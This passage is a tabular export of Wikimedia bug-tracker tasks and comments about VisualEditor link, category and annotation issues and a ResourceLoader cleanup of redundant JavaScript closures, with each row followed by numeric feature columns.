+**Severity**: enhancement",Low,25.0,1370631180,1396028566.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-u7fscppwehap7w2btqmk,task_description,resolved,True,c1,2,True,False,False,-4,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1
+246377,VisualEditor: It should be possible to create interwiki links and edit them subsequently,"As Roan says, external links are now silently converted to interwikis when appropriate by Parsoid, so this is totally possible, and has been since we fixed it in November.",,,1396028566,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-u7fscppwehap7w2btqmk,task_subcomment,,True,c1,3,True,,,38,,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+246368,VisualEditor: It should be possible to create interwiki links and edit them subsequently,"This is kind of possible now, by creating external links.",,,1385136692,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-u7fscppwehap7w2btqmk,task_subcomment,,True,c1,3,False,,,20,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+246362,VisualEditor: It should be possible to create interwiki links and edit them subsequently,"I just tried adding a link with [[:w:eo]] and got this:
+http://www.mediawiki.org/w/index.php?title=Language_portal%2FWikimania2013%2FEvent_Report&diff=768410&oldid=768371
+
+[Changed the title to avoid confusion with interlanguage links.]",,,1377094621,,PHID-USER-xfe43w2lb5gpvglf4coa,True,,,PHID-TASK-u7fscppwehap7w2btqmk,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,1,0,1,0,0,1
+246356,VisualEditor: It should be possible to create interwiki links and edit them subsequently,*** Bug 50889 has been marked as a duplicate of this bug. ***,,,1374331394,,PHID-USER-z6nzrwuaij3spgyg23jt,True,,,PHID-TASK-u7fscppwehap7w2btqmk,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+246350,VisualEditor: It should be possible to create interwiki links and edit them subsequently,"It's actually already possible to create interwiki links by including the interwiki prefix in the link editor; example with wikitech: https://www.mediawiki.org/w/index.php?diff=729932 .
+
+Interwiki links that have been created this way with VisualEditor can still be edited the same way as long as the page isn't saved.
+
+Since this works for new and newly-added interwiki links, I'm not sure why they're blacklisted / green-striped in subsequent edits.",,,1373532188,,PHID-USER-z6nzrwuaij3spgyg23jt,True,,,PHID-TASK-u7fscppwehap7w2btqmk,task_subcomment,,True,c1,3,False,,,1,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
+246342,VisualEditor: It should be possible to create interwiki links and edit them subsequently,*** Bug 49545 has been marked as a duplicate of this bug. ***,,,1371150585,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-u7fscppwehap7w2btqmk,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+51249,VisualEditor: Toolbar button text doesn't line up vertically,"See http://imgur.com/wmAeHRD
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1370522640,1392388033.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-262uhvu3ikqle2l6ewsw,task_description,invalid,True,c1,2,True,False,False,-4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+242144,VisualEditor: Toolbar button text doesn't line up vertically,No longer applicable,,,1392388033,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-262uhvu3ikqle2l6ewsw,task_subcomment,,True,c1,3,True,,,32,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0
+51226,VisualEditor: Langlinks API query doesn't work outside of the main namespace because it uses wgTitle (so language links do not work in namespaces other than main),"This is bad, though in a relatively edge case of lanklinks outside the main namespace.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1370489100,1398108197.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-kpzuaoygi6lx5pro226s,task_description,resolved,True,c1,2,True,False,False,-4,,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+240970,VisualEditor: Langlinks API query doesn't work outside of the main namespace because it uses wgTitle (so language links do not work in namespaces other than main),"Change 127419 merged by jenkins-bot:
+Use wgPageName instead of wgTitle when fetching language links
+
+https://gerrit.wikimedia.org/r/127419",,,1398108169,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-kpzuaoygi6lx5pro226s,task_subcomment,,True,c1,3,False,,,42,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+240966,VisualEditor: Langlinks API query doesn't work outside of the main namespace because it uses wgTitle (so language links do not work in namespaces other than main),"Change 127419 had a related patch set uploaded by Catrope:
+Use wgPageName instead of wgTitle when fetching language links
+
+https://gerrit.wikimedia.org/r/127419",,,1397886324,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-kpzuaoygi6lx5pro226s,task_subcomment,,True,c1,3,False,,,41,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+240961,VisualEditor: Langlinks API query doesn't work outside of the main namespace because it uses wgTitle (so language links do not work in namespaces other than main),*** Bug 50565 has been marked as a duplicate of this bug. ***,,,1381266333,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-kpzuaoygi6lx5pro226s,task_subcomment,,True,c1,3,True,,,14,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+240956,VisualEditor: Langlinks API query doesn't work outside of the main namespace because it uses wgTitle (so language links do not work in namespaces other than main),"(In reply to comment #1)
+> This description is a bit cryptic, so .. is bug 50565 a dup of this bug?
+
+It is, yes; sorry for crypticness. Hope it's a little better now.",,,1381266327,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-kpzuaoygi6lx5pro226s,task_subcomment,,True,c1,3,True,,,14,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,1,1,1,1,0,1,1,0,1,0,0,1,0,0,1,0,0,1,0,1
+240949,VisualEditor: Langlinks API query doesn't work outside of the main namespace because it uses wgTitle (so language links do not work in namespaces other than main),"This description is a bit cryptic, so .. is bug 50565 a dup of this bug?",,,1381108150,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-kpzuaoygi6lx5pro226s,task_subcomment,,True,c1,3,False,,,14,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0
+51044,VisualEditor: Category editor should also suggest categories which 'exist' but are without a description page,"Users and categories should not be auto-completed based on page names (API action=opensearch) but instead based on their own respective query modules (list=allusers, list=allcategories) because the existence of a description page is optional and neither a subset nor superset of the database tables.
+
+* Pages can exist for inexistent objects.
+* Objects often don't have an associated page.
+
+718db58f introduced category editing with autocompletion from opensearch (with hardcoded 'Category:' prefix). This should be switched to using list=allcategories instead.
+
+That way the input field will no longer include results for inexistent categories, and no longer omit results for existing categories lacking a description page.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=65517",Low,25.0,1370113020,1401322108.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-qh6gg46z66xqohu77fjn,task_description,resolved,True,c1,1,True,False,False,-5,,0,0,0,1,1,1,1,1,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,1,1,0,0,1,1,1,1,1,0,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,1,0,0
+230237,VisualEditor: Category editor should also suggest categories which 'exist' but are without a description page,*** Bug 65956 has been marked as a duplicate of this bug. ***,,,1401483580,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qh6gg46z66xqohu77fjn,task_subcomment,,True,c1,3,True,,,47,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+230231,VisualEditor: Category editor should also suggest categories which 'exist' but are without a description page,"Change 135782 merged by jenkins-bot:
+Suggest categories that exist but don't necessarily have pages
+
+https://gerrit.wikimedia.org/r/135782",,,1401321989,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qh6gg46z66xqohu77fjn,task_subcomment,,True,c1,3,False,,,47,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0
+230225,VisualEditor: Category editor should also suggest categories which 'exist' but are without a description page,"Change 135782 had a related patch set uploaded by Alex Monk:
+Suggest categories that exist but don't necessarily have pages
+
+https://gerrit.wikimedia.org/r/135782",,,1401295064,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qh6gg46z66xqohu77fjn,task_subcomment,,True,c1,3,False,,,47,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0
+230219,VisualEditor: Category editor should also suggest categories which 'exist' but are without a description page,"(In reply to comment #1)
+> Though I commend the effort for correctness, I don't think that this has ever
+> even been brought up in the HotCat feedback. It would be nice though.
+> 
+> However, an empty category (page only), is still a valid category in most
+> workflows (you have to start somewhere), so I think that excluding them is no
+> more correct than including categories without pages...
+
+(Whilst not defending the current MediaWiki behaviour) the way you start a new category is either:
+* Create the description page
+* Add pages to it from wikitext with [[Category: <name> ]]
+or:
+* Implicitly create it by adding pages to it from wikitext with [[Category: <name> ]]
+
+The same is true for HotCat, afaik you can use a category that doesn't exist yet. The page is optional and the 'Category' table row will be created once there are items in it (though it doesn't delete the row if there are no more children in it, so you can still have category pages for categories that don't ""exist"" but do exist in the database).
+
+Either way I think it is more likely for a user to want to add a page to a category that is used on another page (which may or may not have a description page yet) then for a user to first create a category page and then add a page to it. Especially on established wikis.
+
+I agree it doesn't really make sense but this is how MediaWiki works. We could change MediaWiki core to also create category rows immediately when the page is created.
+
+We could do 2 ajax requests for every autocomplete action but that seems a bit too much, and given the choice between the two I think completing based on existing categories instead of category description pages, the former is more likely and also has larger volume (there are more categories than there are description pages, there are relatively few category pages for categories that don't exist, ideally a wiki would have none of them).",,,1372102674,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-qh6gg46z66xqohu77fjn,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,1,1,1,1,0,1,1,1,1,0,1,1,1,0,1,1,1,1,0,1,0,0,0,0,0,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0,0,1,1,0,1,1,1,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,1
+230211,VisualEditor: Category editor should also suggest categories which 'exist' but are without a description page,"Though I commend the effort for correctness, I don't think that this has ever even been brought up in the HotCat feedback. It would be nice though.
+
+However, an empty category (page only), is still a valid category in most workflows (you have to start somewhere), so I think that excluding them is no more correct than including categories without pages...",,,1370372523,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-qh6gg46z66xqohu77fjn,task_subcomment,,True,c1,1,True,,,-4,,0,0,0,1,1,1,1,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,1,1,1,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,1,1,1,0
+51012,"VisualEditor: On save, warn the user about inconsistent header indexes","It would be very nice if the Ve would warn you about inconsistencies in header levels (when you are skipping a level for instance)
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1370005980,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-i4fozwumgivhnul7k3yd,task_description,open,True,c1,1,True,False,,-5,,0,0,1,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+233669,"VisualEditor: On save, warn the user about inconsistent header indexes","Nice idea.
+
+Possible rules:
+
+* Use of H1 in the main namespace
+* Use of Hn+1 not inside an Hn
+* Others?",,,1370633090,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-i4fozwumgivhnul7k3yd,task_subcomment,,True,c1,2,True,,,-4,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0
+50933,VisualEditor: Whitespace characters should not take a pre-annotation unless they have non-whitespace after them in the annotation,"In https://de.wikipedia.org/w/index.php?title=Anna_Zaja&curid=7691608&diff=118985342&oldid=118754158 a missing space was added after the name, but it should not be inside the bold part.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**URL**: https://de.wikipedia.org/w/index.php?title=Anna_Zaja&curid=7691608&diff=118985342&oldid=118754158",Low,25.0,1369820460,,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,False,PHID-TASK-6lw5ypbid2gpphswv2j6,task_description,open,True,c1,1,False,False,,-5,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+228945,VisualEditor: Whitespace characters should not take a pre-annotation unless they have non-whitespace after them in the annotation,"Rephrased to ""Whitespace characters should not take a pre-annotation unless they have non-whitespace after them in the annotation"". This means that we have to evaluate whether pre-annotation should take place on insertion against both the content and the context, but then re-evaluate on the first non-WS character in a potential pre-annotation. This could get messy.",,,1372026701,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6lw5ypbid2gpphswv2j6,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,1,1,0,0,0,0
+50886,ResourceLoader: Remove obsolete closures from files,"Situation:
+* ResourceLoader wraps modules in closures
+* MediaWiki developers put a closure in each file
+* As a result loading 1 module with 2 files will have 3 closures
+
+```
+mw.loader.implement( 'foo', function ( $ ) {
+  --- foo.a.js
+  ( function ( $, mw ) { 
+    ...
+  }( jQuery, mediaWiki ) )
+
+  --- foo.b.js
+  ( function ( $, mw ) { 
+    ...
+  }( jQuery, mediaWiki ) )
+} );
+
+inside mw.loader#execute:
+
+  script( jQuery );
+```
+
+It has been suggested we add ""mw"" to ResourceLoader's closure and get rid of the per-file closure.
+
+The downside of doing that would be that they are less safe to use ""standalone"". e.g. a jquery plugin would be using $ directly, which, outside MediaWiki ResourceLoader context is bad.
+
+There is also the pending refactoring of ResourceLoader debug mode to not be completely different and near useless by executing in the global scope.
+",Low,25.0,1369733580,1554583100.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-knvyif3q5u66km5ufvcb,task_description,resolved,True,c1,1,True,True,False,-5,,1,0,1,1,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,0,0,1,0,0,1,0,1,1,1,0,1,1,0,0,1,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+1347752,ResourceLoader: Remove obsolete closures from files,"Change 534762 **merged** by jenkins-bot:
+[mediawiki/core@master] mediawiki.util: Remove redundant file closures
+
+[[https://gerrit.wikimedia.org/r/534762]]",,,1567876799,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-knvyif3q5u66km5ufvcb,task_subcomment,,True,c1,3,False,,,322,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1347207,ResourceLoader: Remove obsolete closures from files,"Change 534762 had a related patch set uploaded (by Fomafix; owner: Fomafix):
+[mediawiki/core@master] Remove redundant closure for module 'mediawiki.util'
+
+[[https://gerrit.wikimedia.org/r/534762]]",,,1567756299,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-knvyif3q5u66km5ufvcb,task_subcomment,,True,c1,3,False,,,322,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+1303421,ResourceLoader: Remove obsolete closures from files,"Change 518951 had a related patch set uploaded (by Fomafix; owner: Fomafix):
+[mediawiki/extensions/CentralNotice@master] Remove redundant closure for all packageFiles with own directory
+
+[[https://gerrit.wikimedia.org/r/518951]]",,,1561457574,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-knvyif3q5u66km5ufvcb,task_subcomment,,True,c1,3,False,,,312,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1287922,ResourceLoader: Remove obsolete closures from files,"Change 512519 had a related patch set uploaded (by Fomafix; owner: Fomafix):
+[mediawiki/core@master] Remove redundant closure for all modules with packageFiles
+
+[[https://gerrit.wikimedia.org/r/512519]]",,,1558862601,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-knvyif3q5u66km5ufvcb,task_subcomment,,True,c1,3,False,,,307,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1261645,ResourceLoader: Remove obsolete closures from files,"Change 501993 **merged** by jenkins-bot:
+[mediawiki/core@master] Remove redundant closure for all packageFiles with own directory
+
+[[https://gerrit.wikimedia.org/r/501993]]",,,1554861690,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-knvyif3q5u66km5ufvcb,task_subcomment,,True,c1,3,False,,,301,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1259566,ResourceLoader: Remove obsolete closures from files,"Change 501993 had a related patch set uploaded (by Fomafix; owner: Fomafix):
+[mediawiki/core@master] Remove redundant closure for all packageFiles with own directory
+
+[[https://gerrit.wikimedia.org/r/501993]]",,,1554628343,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-knvyif3q5u66km5ufvcb,task_subcomment,,True,c1,3,False,,,300,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+1259531,ResourceLoader: Remove obsolete closures from files,"Change 501960 **merged** by jenkins-bot:
+[mediawiki/core@master] mediawiki.Title: Remove redundant closure
+
+[[https://gerrit.wikimedia.org/r/501960]]",,,1554594846,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-knvyif3q5u66km5ufvcb,task_subcomment,,True,c1,3,False,,,300,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1259514,ResourceLoader: Remove obsolete closures from files,"Effectively fixed by T133462, which makes this a possibility regardless of debug mode.
+
+I'm closing this as resolved as it is now possible with T133462 to lint a file as a ""module"" (similar to Node.js) without needing a closure. The only reason our files had closures is for compatibility with debug mode. And for modules using packageFiles, debug mode has been fixed to not change the execution scope.
+
+This does mean we can remove them from files not loaded as part of a module bundle that uses packageFiles, but it seems good enough for me.
+
+Maybe as part of  T85805, we will make it possible for legacy modules, but that's TBD, and separate from this task.",,,1554583100,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-knvyif3q5u66km5ufvcb,task_subcomment,,True,c1,3,True,,,300,,0,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+1259513,ResourceLoader: Remove obsolete closures from files,"Change 501960 had a related patch set uploaded (by Krinkle; owner: Krinkle):
+[mediawiki/core@master] mediawiki.Title: Remove redundant closure
+
+[[https://gerrit.wikimedia.org/r/501960]]",,,1554582926,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-knvyif3q5u66km5ufvcb,task_subcomment,,True,c1,3,False,,,300,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+225682,ResourceLoader: Remove obsolete closures from files,"Note that this bug isn't blocked on implementing global variable mappings.
+
+This bug basically says:
+
+* Closures added by ResourceLoader are not merely a by-product of the deferred loading. They are part of the eco system and to be relied on.
+* Drop the tradition that each .js file should be loadable raw and standalone and instead embrace the dynamic build system.
+
